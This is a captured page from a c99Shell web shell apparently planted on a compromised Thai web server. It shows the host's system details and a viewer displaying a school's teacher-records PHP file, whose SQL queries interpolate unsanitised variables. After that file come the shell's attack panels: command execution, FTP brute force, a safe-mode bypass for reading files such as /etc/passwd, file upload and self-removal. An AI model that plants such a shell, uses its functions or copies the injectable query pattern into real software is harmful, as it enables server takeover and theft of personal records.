!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/   drwxrwxrwx
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Tech_Edu_History.php (13.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./include/FunctionDB.php");
include("admin_menu.php");
include("./include/Function.php");
ConnectDB();
$sql = "Select * From personal_tb Where Teacher_code='$Teacher_code'";
$result = mysql_query($sql) or die(" Error").mysql_error();
$rs = mysql_fetch_array($result)
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<style type="text/css">
<!--
.sidenav {	border-right-width: 1px;
	border-right-color: #EEEEEE;
	border-right-style: solid;
}
.style1 {font-size: 14px}
.style2 {
	font-family: Tahoma;
	font-size: 14px;
}
-->
</style>
<table width="810" border="0" cellpadding="0" cellspacing="0">
	<tr>
		<td width="810" ><br> 
		  <fieldset>
		    <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a> <img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="menuEdu.php">ข้อมูลฝ่ายวิชาการ</a> <img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> <a href="Menu_Faculty.php">ข้อมูลในหน่วยงาน</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />ข้อมูลภารงาน</font></legend>
			<label>
  <form id="form1" name="form1" method="post" action="">
    <p align="left"><font size="2" face="Tahoma"><img src="./picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
    <table width="631" border="0" align="center" cellpadding="0" cellspacing="0">
      
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td width="631" colspan="4" nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp;</font></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td colspan="4" nowrap="nowrap" bgcolor="#FFFFFF"><div align="left">
            <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td width="22%" rowspan="8" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">
                  <?php
		echo"<center>";
		echo"<img src=\"$rs[Img1]\" width=\"130\" height=\"150\" >";
    	echo"</center>";
	   ?>
                </font></div></td>
                <td colspan="3" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><span class="style1"><font face="Tahoma">ภาระงาน</font><font color="#003366" size="2" face="Tahoma"> <?php echo $rs[First_name] ;?>&nbsp; <?php echo $rs[Teacher_name] ;?></font> <font color="#003366" size="2" face="Tahoma"> &nbsp;<?php echo $rs[Teacher_lastname] ;?></font></span></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
              </tr>
              <tr>
                <td width="5%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
                <td width="3%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font></td>
                <td width="51%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" > <font face="Tahoma"><a href="showTrainingList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g style1">ประวัติการพัฒนาตนเอง</a></font></td>
                <td width="19%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From training_tb  Where Teacher_code ='$Teacher_code'";
       $resultc = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $Tc= mysql_num_rows($resultc);
	   echo"$Tc";

	 ?>
                  ระเบียน </font></div></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font face="Tahoma"><a href="ResList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g style1">งานวิจัย</a></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From research_tb  Where Teacher_code ='$Teacher_code'";
       $resultr = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $Rc= mysql_num_rows($resultr);
	   echo"$Rc";

	 ?>
                  ระเบียน </font></div></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font face="Tahoma"><a href="ProductList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g style1">ผลงานวิชาการ</a></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From edu_product_tb  Where Teacher_code ='$Teacher_code'";
       $resultE = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $Ec= mysql_num_rows($resultE);
	   echo"$Ec";

	 ?>
                  ระเบียน </font></div></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><a href="PerCommitList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g style1"><font face="Tahoma">งานบริการวิชาการ</font></a></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From committee_tb  Where Teacher_code ='$Teacher_code'";
       $resultC = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $Cc= mysql_num_rows($resultC);
	   echo"$Cc";

	 ?>
                  ระเบียน </font></div></td>
              </tr>
              
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font face="Tahoma"><a href="PlanList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g style1">แผนการสอนรายวิชา</a></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                    <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From tech_plan_tb  Where Teacher_code ='$Teacher_code'";
       $resultp = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $pc= mysql_num_rows($resultp);
	   echo"$pc";

	 ?>
                  ระเบียน </font></div></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font face="Tahoma"><a href="showClassTeach.php?officerCode=<? echo $rs[Teacher_id]?>" class="g style1">ตารางสอนนักศึกษา</a></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><font face="Tahoma"><a href="StdAdviceList.php?officerId1=<? echo $rs[officerId1]?>" class="g style1">นักศึกษาในความรับผิดชอบ</a></font></td>
                <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"></div></td>
              </tr>
          </table></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td colspan="4" nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td colspan="4" nowrap="nowrap" bgcolor="#FFFFFF"><span class="style2">รายละเอียดอื่นๆ</span></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td colspan="4" nowrap="nowrap" bgcolor="#FFFFFF"><span class="style1"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font> <font color="#003366" face="Tahoma">วุฒิการศึกษาสูงสุด:</font><font color="#003366" face="Tahoma"></font></span><font color="#003366" size="2" face="Tahoma">
              <?php
	    $Degree_code = $rs[Degree_code];
	   $sql = "Select * From degree_tb  Where Degree_code ='$Degree_code'";
       $result2 = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $row2= mysql_fetch_array($result2);
	   echo"$row2[Degree_name]";

	 ?>
        </font></td>
      </tr>
      
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td colspan="4" nowrap="nowrap" bgcolor="#FFFFFF"><span class="style1"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font><font color="#003366" face="Tahoma"> ความสามารถพิเศษ:</font> </span><font color="#003366" size="2" face="Tahoma"><?php echo nl2br($rs[Skill]) ;?></font></td>
      </tr>
      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
        <td colspan="4" nowrap="nowrap" bgcolor="#FFFFFF"> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font><font color="#003366" face="Tahoma"><span class="style1">&nbsp;สังกัดหน่วยงาน:&nbsp;</span></font><font color="#003366" size="2" face="Tahoma">
              <?php 
	  $Faculty_code = $rs[Faculty_code];
	  $sql = "Select * From faculty_tb Where Faculty_code='$Faculty_code'";
	  $result1 = mysql_query($sql) or die("Error".mysql_error());;
	  $rss = mysql_fetch_array($result1);
	  echo $rss[Faculty_name] ;
	  ?>
        </font></td>
      </tr>
      <tr>
        <td colspan="4" >&nbsp;</td>
      </tr>
    </table>
    </form>
		  </fieldset>
		<br>
		<font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
	  </font></td>
	</tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--